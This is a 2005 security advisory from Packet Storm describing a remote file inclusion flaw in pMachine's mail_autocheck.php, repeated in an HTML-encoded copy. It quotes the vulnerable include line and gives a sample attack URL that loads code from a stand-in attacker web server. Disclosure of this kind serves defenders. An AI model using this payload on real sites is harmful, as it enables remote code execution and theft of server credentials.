pmachineExec.txt

2005-02-25T00:00:00
ID PACKETSTORM:36246
Type packetstorm
Reporter Kingcope
Modified 2005-02-25T00:00:00

Description

                                        
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pMachine Pro / pMachine Free Remote Code Execution  
vendor website: http://www.pmachine.com  
  
I. BACKGROUND  
PMachine is one of the most flexible & creative on-line publishing  
tools available. With PMachine you can publish any kind of  
web content - from a basic weblog to an advanced, interactive magazine.  
Easy to use, even for those new to BLOGing!  
Even the most inexperienced user can have their weblog up and running  
in 10 minutes or less.  
  
II. DESCRIPTION  
A remote attacker is able to execute commands with the privileges  
of the underlying webserver. Under special circumstances the attacker  
is also in place to escalate his privileges and gain full access to the  
affected system.  
  
The file containing the vulnerability is placed at  
  
pm/add_ons/mail_this_entry/mail_autocheck.php  
  
from the pMachine root directory. This file contains the following  
PHP code:  
  
<?php include($pm_path."mailserver".$sfx); ?>  
  
as no check was done to the user supplied $pm_path variable it  
is possible to include a remote php script and take advantage of  
this typical PHP include() vulnerability.  
  
Followed is a sample attack to the pMachine hosting server:  
http://targetserver/pMachine/pm/add_ons/mail_this_entry/  
mail_autocheck.php?pm_path=http://attackers-webserver/malicious-code.php?  
  
The question mark at the very end of this URL will truncate the  
appended "mailserver".$sfx of the vulnerable pMachine code.  
  
III. ANALYSIS  
  
Remote exploitation allows an attacker to execute arbitrary commands  
and code under the privileges of the web server. This also opens the  
door to privilege escalation attacks.  
In junction with other unpatched vulnerabilities (the recent curl issue)  
the attacker is able to read any file on the system even without  
escalating his privileges.  
For example on an shared website server and read out secret account  
credentials.  
  
IV. DETECTION  
The latest pMachine Pro and pMachine Free release is vulnerable to  
the attack described above.  
  
kcope - kingcope[at]gmx.net  
  
  
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
<HTML><HEAD>  
<META http-equiv=3DContent-Type content=3D"text/html; =  
charset=3Dus-ascii">  
<META content=3D"MSHTML 6.00.2900.2604" name=3DGENERATOR></HEAD>  
<BODY>  
<DIV><FONT face=3DArial size=3D2>pMachine Pro / pMachine Free Remote =  
Code=20  
Execution<BR>vendor website: <A=20  
href=3D"http://www.pmachine.com">http://www.pmachine.com</A></FONT></DIV>=  
  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>I. BACKGROUND<BR>PMachine is one of the =  
most=20  
flexible & creative on-line publishing<BR>tools available.  =  
With=20  
PMachine you can publish any kind of<BR>web content - from a basic =  
weblog to an=20  
advanced, interactive magazine.<BR>Easy to use, even for those new to=20  
BLOGing!<BR>Even the most inexperienced user can have their weblog up =  
and=20  
running<BR>in 10 minutes or less.</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>II. DESCRIPTION<BR>A remote attacker is =  
able to=20  
execute commands with the privileges<BR>of the underlying webserver. =  
Under=20  
special circumstances the attacker<BR>is also in place to escalate his=20  
privileges and gain full access to the<BR>affected system.</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>The file containing the vulnerability =  
is placed=20  
at</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial=20  
size=3D2>pm/add_ons/mail_this_entry/mail_autocheck.php</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>from the pMachine root directory. This =  
file=20  
contains the following<BR>PHP code:</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2><?php =  
include($pm_path."mailserver".$sfx);=20  
?></FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>as no check was done to the user =  
supplied $pm_path=20  
variable it<BR>is possible to include a remote php script and take =  
advantage=20  
of<BR>this typical PHP include() vulnerability.</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>Followed is a sample attack to the =  
pMachine hosting=20  
server:<BR><A=20  
href=3D"http://targetserver/pMachine/pm/add_ons/mail_this_entry/">http://=  
targetserver/pMachine/pm/add_ons/mail_this_entry/</A><BR>mail_autocheck.p=  
hp?pm_path=3Dhttp://attackers-webserver/malicious-code.php?</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>The question mark at the =  
very <SPAN=20  
class=3D730425616-19022005>e</SPAN>nd of this URL will truncate =  
the<BR>appended=20  
"mailserver".$sfx of the vulnerable pMachine code.</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>III. ANALYSIS</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>Remote exploitation allows an attacker =  
to execute=20  
arbitrary commands<BR>and code under the privileges of the web server. =  
This also=20  
opens the<BR>door to privilege escalation attacks.<BR>In junction with =  
other=20  
unpatched vulnerabilities (the recent curl issue)<BR>the attacker is =  
able to=20  
read any file on the system even without<BR>escalating his =  
privileges.<BR>For=20  
example on an shared website server and read out secret=20  
account<BR>credentials.</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>IV. DETECTION<BR>The latest pMachine =  
Pro and=20  
pMachine Free release is vulnerable to<BR>the attack described=20  
above.</FONT></DIV>  
<DIV> </DIV>  
<DIV><FONT face=3DArial size=3D2>kcope - =  
kingcope[at]gmx.net</FONT></DIV>  
<DIV><FONT face=3DArial size=3D2></FONT> </DIV></BODY></HTML>  
  
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